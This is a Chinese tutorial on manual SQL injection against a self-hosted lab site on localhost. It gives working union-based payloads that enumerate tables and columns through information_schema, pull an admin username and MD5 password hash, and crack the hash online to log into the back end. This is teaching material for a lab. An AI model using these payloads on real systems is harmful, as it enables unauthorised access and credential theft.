SQL注入基础步骤及SQLMap工具使用(一)

SQL注入基础步骤及SQLMap工具使用(一)

测试环境为VMware WorkStation虚拟机

一、环境搭建

(一)、phpstudy2018集成环境安装使用

安装使用,自行百度,下载地址:官网地址

1. http://phpstudy.php.cn/

(二)、SQL注入源码

百度网盘:

1. 链接:https://pan.baidu.com/s/1B0VSwXk6JnZbBpRgr5S3iQ 密码:wgze

(三)、图示

 SQL注入基础步骤及SQLMap工具使用(一)

目标网站:

1. http://localhost/sqls/index.php?id=1

二、SQL注入过程详解

(一)、注入点查找

1'单引号测试

1. http://localhost/sqls/index.php?id=1'

图示:

SQL注入基础步骤及SQLMap工具使用(一)

2and 1=1 and 1=2测试

1. http://localhost/sqls/index.php?id=1 and 1=1

2. http://localhost/sqls/index.php?id=1 and 1=2

图示:1

 SQL注入基础步骤及SQLMap工具使用(一)

图示:2

SQL注入基础步骤及SQLMap工具使用(一)

测试结果:该URL可注入

(二)、详细注入过程

1order by 猜字段数

1. http://localhost/sqls/index.php?id=1 oder by 3

图示:

 SQL注入基础步骤及SQLMap工具使用(一)

http://localhost/sqls/index.php?id=1 oder by 4

图示:

 SQL注入基础步骤及SQLMap工具使用(一)

得出字段数为3

2union联合查询

1)、查看当前运行环境

常用函数,其他请自行查询

1)、数据库名称:

1. database()

2)、当前用户:

1. user()

3)php版本:

1. version()

4)、操作系统:

1. @@version_compile_os

图示:1

 

 SQL注入基础步骤及SQLMap工具使用(一)

图示:2

 SQL注入基础步骤及SQLMap工具使用(一)

2)、猜解表名:

1. http://localhost/sqls/index.php?id=1 union select 1,2,table_name from information_schema.tables where table_schema = 0x74657374   (test16进制)

 

图示:

 SQL注入基础步骤及SQLMap工具使用(一)

猜解结果:admin表为我们要找的存储管理员账号、密码的表

3)、猜解列名

1. http://localhost/sqls/index.php?id=1 union select 1,2,column_name from information_schema.columns where table_name = 0x61646d696e

图示:

 SQL注入基础步骤及SQLMap工具使用(一)

猜解结果:userpwd为我们要找的管理员账号、密码

4)、猜解最终账号、密码
1)、猜解账号

1. http://localhost/sqls/index.php?id=1 union select user,2,3 from admin

图示:

 SQL注入基础步骤及SQLMap工具使用(一)

猜解结果:管理员账户-admin

2)、猜解密码

1. http://localhost/sqls/index.php?id=1 union select pwd,2,3 from admin

图示:

 SQL注入基础步骤及SQLMap工具使用(一)

猜解结果:管理员密码-3f230640b78d7e71ac5514e57935eb6932md5加密)

3)、md5在线解密

网站:

1. http://www.cmd5.com/

结果:密码-qazxsw

三、登录后台

图示:

SQL注入基础步骤及SQLMap工具使用(一)

有任何问题和需要可联系本人:

QQ:806797785

邮箱:[email protected]